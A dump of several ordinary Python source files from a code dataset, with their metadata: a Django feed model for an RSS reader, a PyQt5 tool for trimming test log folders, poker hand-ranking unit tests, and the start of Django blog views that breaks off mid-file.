dt_checked(self):\n return self._feed.dt_checked\n\n @property\n def dt_synced(self):\n return self._feed.dt_synced\n\n def to_dict(self):\n ret = dict(\n id=self.id,\n user=dict(id=self.user_id),\n is_ready=self.is_ready,\n status=self.status,\n url=self.url,\n total_storys=self.total_storys,\n story_offset=self.story_offset,\n num_unread_storys=self.num_unread_storys,\n dt_updated=self.dt_updated,\n dt_created=self.dt_created,\n )\n detail = Detail.from_schema(self._detail, FeedDetailSchema)\n for k in detail.include_fields:\n ret[k] = getattr(self, k)\n return ret\n\n @staticmethod\n def get_by_id(feed_unionid, detail=False):\n user_id, feed_id = feed_unionid\n q = UserFeed.objects.select_related('feed')\n q = q.filter(user_id=user_id, feed_id=feed_id)\n if not detail:\n q = q.defer(*FEED_DETAIL_FIELDS)\n try:\n user_feed = q.get()\n except UserFeed.DoesNotExist as ex:\n raise FeedNotFoundError(str(ex)) from ex\n return UnionFeed(user_feed.feed, user_feed, detail=detail)\n\n @staticmethod\n def bulk_delete(feed_ids):\n return Feed.objects.filter(id__in=list(feed_ids)).delete()\n\n @staticmethod\n def _merge_user_feeds(user_feeds, detail=False):\n def sort_union_feeds(x):\n return (bool(x.dt_updated), x.dt_updated, x.id)\n union_feeds = []\n for user_feed in user_feeds:\n union_feeds.append(UnionFeed(user_feed.feed, user_feed, detail=detail))\n return list(sorted(union_feeds, key=sort_union_feeds, reverse=True))\n\n @staticmethod\n def query_by_user(user_id, hints=None, detail=False):\n \"\"\"获取用户所有的订阅,支持增量查询\n\n hints: T.list(T.dict(id=T.unionid, dt_updated=T.datetime))\n \"\"\"\n detail = Detail.from_schema(detail, FeedDetailSchema)\n exclude_fields = [f'feed__{x}' for x in detail.exclude_fields]\n if not hints:\n q = UserFeed.objects.select_related('feed').filter(user_id=user_id)\n q = q.defer(*exclude_fields)\n union_feeds = UnionFeed._merge_user_feeds(list(q.all()), detail=detail)\n return len(union_feeds), union_feeds, []\n hints = {x['id'].feed_id: x['dt_updated'] for x in hints}\n q = UserFeed.objects.filter(user_id=user_id).select_related('feed')\n q = q.only(\"id\", 'feed_id', 'dt_updated', 'feed__dt_updated')\n user_feeds = list(q.all())\n total = len(user_feeds)\n feed_ids = {user_feed.feed_id for user_feed in user_feeds}\n deteted_ids = []\n for feed_id in set(hints) - feed_ids:\n deteted_ids.append(FeedUnionId(user_id, feed_id))\n updates = []\n for user_feed in user_feeds:\n feed_id = user_feed.feed_id\n dt_updated = UnionFeed._union_dt_updated(\n user_feed.dt_updated, user_feed.feed.dt_updated)\n if feed_id not in hints or not dt_updated:\n updates.append(feed_id)\n elif dt_updated > hints[feed_id]:\n updates.append(feed_id)\n q = UserFeed.objects.select_related('feed')\\\n .filter(user_id=user_id, feed_id__in=updates)\n q = q.defer(*exclude_fields)\n union_feeds = UnionFeed._merge_user_feeds(list(q.all()), detail=detail)\n return total, union_feeds, deteted_ids\n\n @staticmethod\n def delete_by_id(feed_unionid):\n user_id, feed_id = feed_unionid\n try:\n user_feed = UserFeed.objects.only('id').get(user_id=user_id, feed_id=feed_id)\n except UserFeed.DoesNotExist as ex:\n raise FeedNotFoundError(str(ex)) from ex\n user_feed.delete()\n\n @staticmethod\n def set_story_offset(feed_unionid, offset):\n union_feed = UnionFeed.get_by_id(feed_unionid)\n if not offset:\n offset = union_feed.total_storys\n if offset > union_feed.total_storys:\n raise FeedStoryOffsetError('offset too large')\n user_feed = union_feed._user_feed\n user_feed.story_offset = offset\n user_feed.dt_updated = timezone.now()\n user_feed.save()\n return union_feed\n\n @staticmethod\n def set_title(feed_unionid, title):\n union_feed = UnionFeed.get_by_id(feed_unionid)\n user_feed = union_feed._user_feed\n user_feed.title = title\n user_feed.dt_updated = timezone.now()\n user_feed.save()\n return union_feed\n\n @staticmethod\n def set_all_readed_by_user(user_id, ids=None) -> int:\n if ids is not None and not ids:\n return 0\n q = UserFeed.objects.select_related('feed').filter(user_id=user_id)\n feed_ids = [x.feed_id for x in ids]\n if ids is not None:\n q = q.filter(feed_id__in=feed_ids)\n q = q.only('_version', 'id', 'story_offset', 'feed_id', 'feed__total_storys')\n updates = []\n now = timezone.now()\n for user_feed in q.all():\n num_unread = user_feed.feed.total_storys - user_feed.story_offset\n if num_unread > 0:\n user_feed.story_offset = user_feed.feed.total_storys\n user_feed.dt_updated = now\n updates.append(user_feed)\n with transaction.atomic():\n for user_feed in updates:\n user_feed.save()\n return len(updates)\n\n @staticmethod\n def delete_all(user_id, ids=None) -> int:\n if ids is not None and not ids:\n return 0\n q = UserFeed.objects.select_related('feed').filter(user_id=user_id)\n if ids is not None:\n feed_ids = [x.feed_id for x in ids]\n q = q.filter(feed_id__in=feed_ids)\n q = q.only('_version', 'id')\n num_deleted, details = q.delete()\n return num_deleted\n\n @staticmethod\n def create_by_url(*, user_id, url):\n feed = None\n target = FeedUrlMap.find_target(url)\n if target and target != FeedUrlMap.NOT_FOUND:\n feed = Feed.objects.filter(url=target).first()\n if feed:\n user_feed = UserFeed.objects.filter(user_id=user_id, feed=feed).first()\n if user_feed:\n raise FeedExistError('already exists')\n user_feed = UserFeed(user_id=user_id, feed=feed)\n feed.unfreeze()\n user_feed.save()\n return UnionFeed(feed, user_feed), None\n else:\n feed_creation = FeedCreation(user_id=user_id, url=url)\n feed_creation.save()\n return None, feed_creation\n\n @staticmethod\n def create_by_url_s(*, user_id, urls, batch_size=500, is_from_bookmark=False):\n # 批量预查询,减少SQL查询数量,显著提高性能\n if not urls:\n return FeedCreateResult.empty()\n urls = set(urls)\n url_map = {}\n for url, target in FeedUrlMap.find_all_target(urls).items():\n if target == FeedUrlMap.NOT_FOUND:\n urls.discard(url)\n else:\n url_map[url] = target\n found_feeds = list(Feed.objects.filter(url__in=set(url_map.values())).all())\n feed_id_map = {x.id: x for x in found_feeds}\n feed_map = {x.url: x for x in found_feeds}\n q = UserFeed.objects.filter(user_id=user_id, feed__in=found_feeds).all()\n user_feed_map = {x.feed_id: x for x in q.all()}\n for x in user_feed_map.values():\n x.feed = feed_id_map[x.feed_id]\n # 多个url匹配到同一个feed的情况,user_feed只能保存一个,要根据feed_id去重\n new_user_feed_ids = set()\n new_user_feeds = []\n feed_creations = []\n unfreeze_feed_ids = set()\n for url in urls:\n feed = feed_map.get(url_map.get(url))\n if feed:\n if feed.id in user_feed_map:\n continue\n new_user_feed_ids.add(feed.id)\n if feed.freeze_level and feed.freeze_level > 1:\n unfreeze_feed_ids.add(feed.id)\n else:\n feed_creation = FeedCreation(\n user_id=user_id, url=url, is_from_bookmark=is_from_bookmark)\n feed_creations.append(feed_creation)\n new_user_feeds = []\n for feed_id in new_user_feed_ids:\n user_feed = UserFeed(user_id=user_id, feed=feed_id_map[feed_id])\n new_user_feeds.append(user_feed)\n UserFeed.objects.bulk_create(new_user_feeds, batch_size=batch_size)\n FeedCreation.objects.bulk_create(feed_creations, batch_size=batch_size)\n if unfreeze_feed_ids:\n Feed.objects.filter(pk__in=unfreeze_feed_ids).update(freeze_level=1)\n existed_feeds = UnionFeed._merge_user_feeds(user_feed_map.values())\n union_feeds = UnionFeed._merge_user_feeds(new_user_feeds)\n return FeedCreateResult(\n created_feeds=union_feeds,\n existed_feeds=existed_feeds,\n feed_creations=feed_creations,\n )\n","sub_path":"rssant_api/models/feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":36798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"45701576","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QInputDialog, QFileDialog\nfrom PTSScriptTools import Ui_Form\nfrom LogGenerator import LOG\nimport FolderSlimming\nimport XmlGenerator\nimport Draft\n\ngPath = ''\n\nclass MainWindow(QMainWindow, Ui_Form):\n def __init__(self):\n super(MainWindow, self).__init__()\n self.setupUi(self)\n self.pushButtonViewFolder.clicked.connect(self.openFile)\n self.pushButtonFolderSlimming.clicked.connect(self.slimmingProcessor)\n self.pushButtonXmlGenerator.clicked.connect(self.xmlGeneratorProcessor)\n self.pushButtonHelp.clicked.connect(self.readMe)\n self.pushButtonQuit.clicked.connect(self.quitApp)\n\n def readMe(self):\n helpText = 'Help:\\n' \\\n '(1) Folder Slimming:\\n' \\\n '用于删除PTS中测试结果为FAIL或者INCONN的测试用例对应的PTS log文件夹,以方便生成报告。\\n' \\\n '(2) XML Generator:\\n' \\\n '根据PTS log文件夹中的信息恢复XML文件,可在XML损坏或者将两个Workspace合并时使用。'\n self.textBrowser.append('*')\n self.textBrowser.append(helpText)\n\n def quitApp(self):\n sender = self.sender()\n app = QApplication.instance()\n app.quit()\n\n def openFile(self):\n global gPath\n self.textBrowser.append('*')\n getDirectoryPath = QFileDialog.getExistingDirectory(self, \"选取待处理文件夹\", \"C:/\")\n gPath = getDirectoryPath\n LOG('[GET PATH] ', getDirectoryPath)\n self.plainTextEdit.setPlainText(str(getDirectoryPath))\n if len(gPath):\n self.textBrowser.append('已选择文件路径:')\n self.textBrowser.append(str(gPath))\n else:\n self.textBrowser.append('未选择文件路径!')\n\n def slimmingProcessor(self):\n global gPath\n self.textBrowser.append('*')\n if 0 == len(gPath):\n self.textBrowser.append('请正确选择文件夹!')\n else:\n outStr = FolderSlimming.slimmingProcessor(gPath)\n if 0 == len(outStr):\n outStr = '未删除任何文件夹'\n elif outStr == '该路径下不存在XML文件。':\n pass\n else:\n self.textBrowser.append('删除文件夹:')\n self.textBrowser.append(outStr)\n LOG('*', '**********************[slimming Processor Over]**********************')\n\n def xmlGeneratorProcessor(self):\n global gPath\n self.textBrowser.append('*')\n if 0 == len(gPath):\n self.textBrowser.append('请正确选择文件夹!')\n else:\n outStr = XmlGenerator.xmlProcessor(gPath)\n if 0 == len(outStr):\n outStr = '未成功生成XML文件'\n else:\n self.textBrowser.append('生成XML文件路径为:')\n self.textBrowser.append(outStr)\n LOG('*', '********************[xml Generator ProcessorOver]*********************')\n\ndef appMain():\n app = QApplication(sys.argv)\n window = MainWindow()\n window.show()\n sys.exit(app.exec_())\n\nif __name__ == \"__main__\":\n test = 0\n if 0 == test:\n appMain()\n elif 1 == test:\n path = '.\\\\test\\\\BASTest'\n XmlGenerator.xmlProcessor(path)\n elif 2 == test:\n Draft.test()\n else:\n pass\n","sub_path":"job-json,xml,csv/ProjectSlimming-参考,写入xml/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":3418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"219327586","text":"from bcpt.backend.Card import Card\nfrom bcpt.backend.poker import Hand\nfrom bcpt.tests.poker import bestHand\nfrom itertools import combinations\nimport unittest\n\n\nclass TestDeck():\n def __init__(self):\n v = Card.VALUES\n s = Card.SUITS\n self.ca = Card(v[\"Ace\"], s[\"Clubs\"])\n self.ck = Card(v[\"King\"], s[\"Clubs\"])\n self.cq = Card(v[\"Queen\"], s[\"Clubs\"])\n self.cj = Card(v[\"Jack\"], s[\"Clubs\"])\n self.ct = Card(v[\"Ten\"], s[\"Clubs\"])\n self.c9 = Card(v[\"Nine\"], s[\"Clubs\"])\n self.c8 = Card(v[\"Eight\"], s[\"Clubs\"])\n self.c7 = Card(v[\"Seven\"], s[\"Clubs\"])\n self.c6 = Card(v[\"Six\"], s[\"Clubs\"])\n self.c5 = Card(v[\"Five\"], s[\"Clubs\"])\n self.c4 = Card(v[\"Four\"], s[\"Clubs\"])\n self.c3 = Card(v[\"Three\"], s[\"Clubs\"])\n self.c2 = Card(v[\"Two\"], s[\"Clubs\"])\n self.da = Card(v[\"Ace\"], s[\"Diamonds\"])\n self.dk = Card(v[\"King\"], s[\"Diamonds\"])\n self.dq = Card(v[\"Queen\"], s[\"Diamonds\"])\n self.dj = Card(v[\"Jack\"], s[\"Diamonds\"])\n self.dt = Card(v[\"Ten\"], s[\"Diamonds\"])\n self.d9 = Card(v[\"Nine\"], s[\"Diamonds\"])\n self.d8 = Card(v[\"Eight\"], s[\"Diamonds\"])\n self.d7 = Card(v[\"Seven\"], s[\"Diamonds\"])\n self.d6 = Card(v[\"Six\"], s[\"Diamonds\"])\n self.d5 = Card(v[\"Five\"], s[\"Diamonds\"])\n self.d4 = Card(v[\"Four\"], s[\"Diamonds\"])\n self.d3 = Card(v[\"Three\"], s[\"Diamonds\"])\n self.d2 = Card(v[\"Two\"], s[\"Diamonds\"])\n self.ha = Card(v[\"Ace\"], s[\"Hearts\"])\n self.hk = Card(v[\"King\"], s[\"Hearts\"])\n self.hq = Card(v[\"Queen\"], s[\"Hearts\"])\n self.hj = Card(v[\"Jack\"], s[\"Hearts\"])\n self.ht = Card(v[\"Ten\"], s[\"Hearts\"])\n self.h9 = Card(v[\"Nine\"], s[\"Hearts\"])\n self.h8 = Card(v[\"Eight\"], s[\"Hearts\"])\n self.h7 = Card(v[\"Seven\"], s[\"Hearts\"])\n self.h6 = Card(v[\"Six\"], s[\"Hearts\"])\n self.h5 = Card(v[\"Five\"], s[\"Hearts\"])\n self.h4 = Card(v[\"Four\"], s[\"Hearts\"])\n self.h3 = Card(v[\"Three\"], s[\"Hearts\"])\n self.h2 = Card(v[\"Two\"], s[\"Hearts\"])\n self.sa = Card(v[\"Ace\"], s[\"Spades\"])\n self.sk = Card(v[\"King\"], s[\"Spades\"])\n self.sq = Card(v[\"Queen\"], s[\"Spades\"])\n self.sj = Card(v[\"Jack\"], s[\"Spades\"])\n self.st = Card(v[\"Ten\"], s[\"Spades\"])\n self.s9 = Card(v[\"Nine\"], s[\"Spades\"])\n self.s8 = Card(v[\"Eight\"], s[\"Spades\"])\n self.s7 = Card(v[\"Seven\"], s[\"Spades\"])\n self.s6 = Card(v[\"Six\"], s[\"Spades\"])\n self.s5 = Card(v[\"Five\"], s[\"Spades\"])\n self.s4 = Card(v[\"Four\"], s[\"Spades\"])\n self.s3 = Card(v[\"Three\"], s[\"Spades\"])\n self.s2 = Card(v[\"Two\"], s[\"Spades\"])\n\n\nclass TestHandFunctions(unittest.TestCase):\n\n def setUp(self):\n # cards\n self.d = TestDeck()\n\n def test_get_hand_category(self):\n d = self.d\n best_category = bestHand.get_category([d.sk, d.dk, d.ck, d.hk, d.sa])\n assert(best_category is not None and\n best_category.category == Hand.FOUROFAKIND)\n best_category = bestHand.get_category([d.ha, d.hk, d.hq, d.hj, d.ht])\n assert(best_category is not None and\n best_category.category == Hand.STRAIGHTFLUSH)\n best_category = bestHand.get_category([d.ha, d.dq, d.dt, d.c6, d.d3])\n assert(best_category is not None and\n best_category.category == Hand.HIGHCARD)\n\n def best_hand_helper(self, all_cards, expected_hand, expected_category):\n best_hand = bestHand.get_best_hand(all_cards)\n assert(best_hand is not None)\n assert(best_hand.category == expected_category)\n expected = set(expected_hand)\n #print(best_hand.category)\n #for card in best_hand.cards:\n # print(\"suit:\" + str(card.suit) + \", value:\" + str(card.value))\n assert(expected == set(best_hand.cards))\n\n def test_get_best_hand(self):\n d = self.d\n hands_to_test = [\n [[d.hk, d.ck, d.hj, d.cj, d.hq, d.ha, d.ht],\n [d.hk, d.hj, d.hq, d.ha, d.ht],\n Hand.STRAIGHTFLUSH],\n\n [[d.ha, d.hk, d.hj, d.sk, d.dk, d.ck, d.hq],\n [d.ha, d.hk, d.sk, d.dk, d.ck],\n Hand.FOUROFAKIND],\n\n [[d.ha, d.h2, d.d3, d.c3, d.c2, d.d2, d.s3],\n [d.h2, d.d3, d.c3, d.c2, d.s3],\n Hand.FULLHOUSE],\n\n [[d.c5, d.d3, d.ct, d.c2, d.c4, d.c6, d.c8],\n [d.c5, d.ct, d.c4, d.c6, d.c8],\n Hand.FLUSH],\n\n [[d.hk, d.ck, d.dk, d.ha, d.dq, d.ht, d.sj],\n [d.hk, d.ha, d.dq, d.ht, d.sj],\n Hand.STRAIGHT],\n\n [[d.c2, d.d3, d.hk, d.d2, d.ha, d.h2, d.s8],\n [d.c2, d.hk, d.d2, d.ha, d.h2],\n Hand.THREEOFAKIND],\n\n [[d.d2, d.c2, d.h3, d.c3, d.c4, d.h5, d.s9],\n [d.d2, d.c2, d.h3, d.c3, d.s9],\n Hand.TWOPAIR],\n\n [[d.h7, d.h4, d.d2, d.c7, d.da, d.d8, d.sj],\n [d.h7, d.c7, d.da, d.d8, d.sj],\n Hand.PAIR],\n\n [[d.h8, d.c3, d.d9, d.d2, d.h6, d.s5, d.dq],\n [d.h8, d.d9, d.h6, d.s5, d.dq],\n Hand.HIGHCARD]\n ]\n\n for hand in hands_to_test:\n self.best_hand_helper(hand[0], hand[1], hand[2])\n\n def test_highcard(self):\n d = self.d\n hand = Hand.get_highcard([d.hk, d.da, d.hq, d.dk, d.cj])\n assert(hand is not None and hand.category == Hand.HIGHCARD)\n\n def test_pair(self):\n d = self.d\n hand = Hand.get_pair([d.hk, d.ck, d.dq, d.dj, d.da])\n assert(hand is not None and hand.category == Hand.PAIR)\n hand = Hand.get_pair([d.hk, d.ck, d.dk, d.dq, d.da])\n assert(hand is not None and hand.category == Hand.PAIR)\n hand = Hand.get_pair([d.h5, d.hq, d.d3, d.d2, d.s6])\n assert (hand is None)\n\n def test_twopair(self):\n d = self.d\n hand = Hand.get_twopair([d.hk, d.ck, d.dq, d.sq, d.hj])\n assert(hand is not None and hand.category == Hand.TWOPAIR)\n hand = Hand.get_twopair([d.ht, d.cq, d.dq, d.dj, d.dt])\n assert(hand is not None and hand.category == Hand.TWOPAIR)\n hand = Hand.get_twopair([d.st, d.sq, d.ct, d.cj, d.ck])\n assert(hand is None)\n\n def test_threeofakind(self):\n d = self.d\n hand = Hand.get_threeofakind([d.ck, d.sk, d.dk, d.d2, d.c3])\n assert(hand is not None and hand.category == Hand.THREEOFAKIND)\n hand = Hand.get_threeofakind([d.ck, d.sk, d.d2, d.s2, d.d3])\n assert(hand is None)\n hand = Hand.get_threeofakind([d.ck, d.sk, d.dk, d.hk, d.h3])\n assert(hand is not None and hand.category == Hand.THREEOFAKIND)\n hand = Hand.get_threeofakind([d.hk, d.sk, d.dk, d.d2, d.s2])\n assert(hand is not None and hand.category == Hand.THREEOFAKIND)\n\n def test_straight(self):\n d = self.d\n hand = Hand.get_straight([d.hk, d.sa, d.dj, d.dt, d.dq])\n assert(hand is not None and hand.category == Hand.STRAIGHT)\n hand = Hand.get_straight([d.hk, d.sa, d.d9, d.dt, d.dq])\n assert(hand is None)\n hand = Hand.get_straight([d.ha, d.d3, d.d2, d.d4, d.c5])\n assert(hand is not None and hand.category == Hand.STRAIGHT)\n\n def test_flush(self):\n d = self.d\n hand = Hand.get_flush([d.dk, d.d5, d.d9, d.dq, d.da])\n assert(hand is not None and hand.category == Hand.FLUSH)\n hand = Hand.get_flush([d.dk, d.c8, d.s9, d.dq, d.d6])\n assert(hand is None)\n hand = Hand.get_flush([d.d5, d.dk, d.da, d.dt, d.d9])\n assert(hand is not None and hand.category == Hand.FLUSH)\n\n def test_fullhouse(self):\n d = self.d\n hand = Hand.get_fullhouse([d.dk, d.ck, d.sk, d.sj, d.cj])\n assert(hand is not None and hand.category == Hand.FULLHOUSE)\n hand = Hand.get_fullhouse([d.dk, d.ck, d.sj, d.cj, d.ht])\n assert(hand is None)\n hand = Hand.get_fullhouse([d.hk, d.ck, d.sk, d.dk, d.dj])\n assert(hand is None)\n hand = Hand.get_fullhouse([d.dk, d.dj, d.cj, d.ck, d.sj])\n assert(hand is not None and hand.category == Hand.FULLHOUSE)\n hand = Hand.get_fullhouse([d.dj, d.dk, d.cq, d.sj, d.h9])\n assert(hand is None)\n\n def test_fourofakind(self):\n d = self.d\n hand = Hand.get_fourofakind([d.sj, d.hj, d.dj, d.cj, d.h9])\n assert(hand is not None and hand.category == Hand.FOUROFAKIND)\n hand = Hand.get_fourofakind([d.cj, d.dj, d.d9, d.h9, d.s9])\n assert(hand is None)\n hand = Hand.get_fourofakind([d.c9, d.d9, d.hj, d.h9, d.s9])\n assert(hand is not None and hand.category == Hand.FOUROFAKIND)\n hand = Hand.get_fourofakind([d.cj, d.dj, d.hj, d.h9, d.sj])\n assert(hand is not None and hand.category == Hand.FOUROFAKIND)\n hand = Hand.get_fourofakind([d.s9, d.hj, d.h8, d.h6, d.hq])\n assert(hand is None)\n\n def test_straightflush(self):\n d = self.d\n hand = Hand.get_straightflush([d.sj, d.sq, d.sk, d.s9, d.st])\n assert(hand is not None and hand.category == Hand.STRAIGHTFLUSH)\n hand = Hand.get_straightflush([d.sj, d.sk, d.sq, d.st, d.sa])\n assert(hand is not None and hand.category == Hand.STRAIGHTFLUSH)\n hand = Hand.get_straightflush([d.sj, d.cj, d.s9, d.h9, d.hj])\n assert(hand is None)\n hand = Hand.get_straightflush([d.c8, d.hq, d.cj, d.h9, d.st])\n assert(hand is None)\n hand = Hand.get_straightflush([d.ha, d.cj, d.s9, d.st, d.sk])\n assert(hand is None)\n hand = Hand.get_straightflush([d.ha, d.hj, d.h9, d.ht, d.h5])\n assert(hand is None)\n\n def test_highcard_compare(self):\n d = self.d\n highcard1 = Hand.get_highcard([d.h8, d.cj, d.ck, d.d9, d.d7])\n highcard2 = Hand.get_highcard([d.c8, d.d5, d.ck, d.d9, d.d7])\n highcard3 = Hand.get_highcard([d.ca, d.dj, d.ck, d.d9, d.d7])\n assert(highcard1 is not None)\n assert(highcard1 > highcard2 and highcard2 < highcard1)\n assert(highcard2 < highcard3 and highcard3 > highcard2)\n assert(highcard3 > highcard1 and highcard1 < highcard3)\n\n def test_pair_compare(self):\n d = self.d\n pair1 = Hand.get_pair([d.cj, d.h6, d.h8, d.sj, d.d7])\n pair2 = Hand.get_pair([d.ck, d.d8, d.h8, d.sj, d.d7])\n pair3 = Hand.get_pair([d.c9, d.c8, d.h8, d.sj, d.d7])\n assert(pair1 is not None)\n assert(pair1 > pair2 and pair2 < pair1)\n assert(pair2 > pair3 and pair3 < pair2)\n assert(pair1 > pair3 and pair3 < pair1)\n\n def test_twopair_compare(self):\n d = self.d\n # d2 cj ck d8 s4 - c2 c8 - sj s8 - h8 s2\n twopair1 = Hand.get_twopair([d.c2, d.c8, d.d2, d.ck, d.d8])\n twopair2 = Hand.get_twopair([d.sj, d.s8, d.cj, d.ck, d.d8])\n twopair3 = Hand.get_twopair([d.h8, d.s2, d.d2, d.ck, d.d8])\n assert(twopair1 is not None)\n assert(twopair1 < twopair2 and twopair2 > twopair1)\n assert(twopair2 > twopair3 and twopair3 < twopair2)\n assert(twopair1 == twopair3 and twopair3 == twopair1)\n\n def test_threeofakind_compare(self):\n d = self.d\n # c5 d5 dj ca s3 - s5 s7 - sj cj - h5 ck\n trip1 = Hand.get_threeofakind([d.s5, d.c5, d.d5, d.dj, d.ca])\n trip2 = Hand.get_threeofakind([d.sj, d.cj, d.c5, d.dj, d.ca])\n trip3 = Hand.get_threeofakind([d.h5, d.ck, d.c5, d.d5, d.ca])\n assert(trip1 is not None)\n assert(trip1 < trip2 and trip2 > trip1)\n assert(trip2 > trip3 and trip3 < trip2)\n assert(trip1 < trip3 and trip3 > trip1)\n\n def test_straight_compare(self):\n d = self.d\n # c7 hj d5 dt c3 : h6 d4 : c9 s8\n straight1 = Hand.get_straight([d.h6, d.d4, d.c7, d.d5, d.c3])\n straight2 = Hand.get_straight([d.c9, d.s8, d.c7, d.hj, d.dt])\n assert(straight1 is not None)\n assert(straight1 < straight2 and straight2 > straight1)\n\n # d2 c8 d4 c5 s8 : h6 h7 : sa c3 : d6 s3\n straight1 = Hand.get_straight([d.h6, d.h7, d.c8, d.d4, d.c5])\n straight2 = Hand.get_straight([d.sa, d.c3, d.d2, d.d4, d.c5])\n straight3 = Hand.get_straight([d.d6, d.s3, d.d2, d.d4, d.c5])\n assert(straight1 is not None)\n assert(straight1 > straight2 and straight2 < straight1)\n assert(straight2 < straight3 and straight3 > straight2)\n assert(straight3 < straight1 and straight1 > straight3)\n\n def test_flush_compare(self):\n d = self.d\n # d3 c8 dk d4 sa : d2 d9 : d6 d5 : dj dt\n flush1 = Hand.get_flush([d.d2, d.d9, d.d3, d.dk, d.d4])\n flush2 = Hand.get_flush([d.d6, d.d5, d.d3, d.dk, d.d4])\n flush3 = Hand.get_flush([d.dj, d.dt, d.d3, d.dk, d.d4])\n assert(flush1 is not None)\n assert(flush1 > flush2 and flush2 < flush1)\n assert(flush2 < flush3 and flush3 > flush2)\n assert(flush1 < flush3 and flush3 > flush1)\n\n def test_fullhouse_compare(self):\n d = self.d\n # d7 c9 c7 s9 ca : da sa : s7 sj : d9 c2\n fullhouse1 = Hand.get_fullhouse([d.da, d.sa, d.c9, d.s9, d.ca])\n fullhouse2 = Hand.get_fullhouse([d.s7, d.d7, d.c9, d.c7, d.s9])\n fullhouse3 = Hand.get_fullhouse([d.d9, d.d7, d.c9, d.c7, d.s9])\n assert(fullhouse1 is not None)\n assert(fullhouse1 > fullhouse2 and fullhouse2 < fullhouse1)\n assert(fullhouse2 < fullhouse3 and fullhouse3 > fullhouse2)\n assert(fullhouse3 < fullhouse1 and fullhouse1 > fullhouse3)\n\n def test_fourofakind_compare(self):\n d = self.d\n # d8 d7 h7 sj c8 : s8 h8 : s7 c7\n quad1 = Hand.get_fourofakind([d.s8, d.h8, d.d8, d.sj, d.c8])\n quad2 = Hand.get_fourofakind([d.s7, d.c7, d.d7, d.h7, d.sj])\n assert(quad1 is not None)\n assert(quad1 > quad2 and quad2 < quad1)\n\n # h5 s5 d3 d5 c5 : s2 s8 : sa ca : da d9\n quad1 = Hand.get_fourofakind([d.s8, d.h5, d.s5, d.d5, d.c5])\n quad2 = Hand.get_fourofakind([d.sa, d.h5, d.s5, d.d5, d.c5])\n quad3 = Hand.get_fourofakind([d.da, d.h5, d.s5, d.d5, d.c5])\n assert(quad1 is not None)\n assert(quad1 < quad2 and quad2 > quad1)\n assert(quad2 == quad3 and quad3 == quad2)\n assert(quad1 < quad3 and quad3 > quad1)\n\n def test_straightflush_compare(self):\n d = self.d\n # d7 d9 dt d5 d3 : d4 d6 : d8 dj\n straightflush1 = Hand.get_straightflush([d.d4, d.d6, d.d7, d.d5, d.d3])\n straightflush2 = Hand.get_straightflush([d.d8, d.dj, d.d7, d.d9, d.dt])\n assert(straightflush1 is not None)\n assert(straightflush1 < straightflush2)\n assert(straightflush2 > straightflush1)\n\n def test_different_categories_compare(self):\n d = self.d\n hands = [Hand.get_highcard([d.h6, d.c9, d.d2, d.ck, d.cj]),\n Hand.get_pair([d.cj, d.sq, d.d2, d.c2, d.s4]),\n Hand.get_twopair([d.sj, d.cq, d.da, d.dq, d.hj]),\n Hand.get_threeofakind([d.d3, d.h8, d.c4, d.d8, d.s8]),\n Hand.get_straight([d.d7, d.h4, d.c5, d.c3, d.d6]),\n Hand.get_flush([d.h4, d.h8, d.h5, d.hq, d.h2]),\n Hand.get_fullhouse([d.d8, d.c8, d.s6, d.s8, d.c6]),\n Hand.get_fourofakind([d.h9, d.c7, d.d9, d.c9, d.s9]),\n Hand.get_straightflush([d.c3, d.c5, d.c4, d.c2, d.c6])]\n for hand in hands:\n assert(hand is not None)\n for hand1, hand2 in combinations(hands, 2):\n assert(hand1 < hand2)\n hands.reverse()\n for hand1, hand2 in combinations(hands, 2):\n assert(hand1 > hand2)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/poker/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":15959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"578333239","text":"from django.contrib import messages\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.shortcuts import render,get_object_or_404,redirect\n\n# Create your views here.\nfrom posts.forms import PostForm\nfrom posts.models import Post\n\ndef post_create(request):\n\tform = PostForm(request.POST or None)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\t#print (form.cleaned_data.get(\"title\"))\n\t\tinstance.save()\n\t\t#message success\n\t\tmessages.success(request,\"Successfully Created\")\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\t\t\n\t#else:\n\t\t#messages.success(request,\" Not Successfully Created\")\n\t\t\n\n\t#if request.method==\"POST\":\n\t#\tprint request.POST.get(\"content\")\n\t#\tprint request.POST.get(\"title\")\n\t# Post.objects.create(title=title)\n\tcontext={\n\t \"form\":form,\n\t}\n\treturn render (request,\"post_form.html\",context)\n\t#return HttpResponse(\"

    Create

    \")\n\n\ndef post_detail(request,id=None):#reterive\n #instance=Post.objects.get(id=5)\n instance=get_object_or_404(Post,id=id)\n context={\n \"title\":instance.title,\n \"instance\":instance\n }\n return render (request,\"post_detail.html\",context)\n\t#return HttpResponse(\"

    detail

    \")\n\ndef post_list(request): #list \n queryset=Post.objects.all()\n context={\n \"object_list\":queryset,\n \t\"title\":'List'\n }\n # if request.user.is_authenticated():\n #\tcontext={\n # \"title\":'My user list'\n # }\n #else:\n #\tcontext={\n #\t \"title\":'List'\n #\t}\n \n return render (request,\"post_list.html\",context)\n\t#return HttpResponse(\"

    list

    \")\n\ndef post_update(request,id=None):\n\tinstance=get_object_or_404(Post,id=id)\n\tform = PostForm(request.POST or None,instance=instance)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\tinstance.save()\n\t\t# message success\n\t\tmessages.success(request,\"
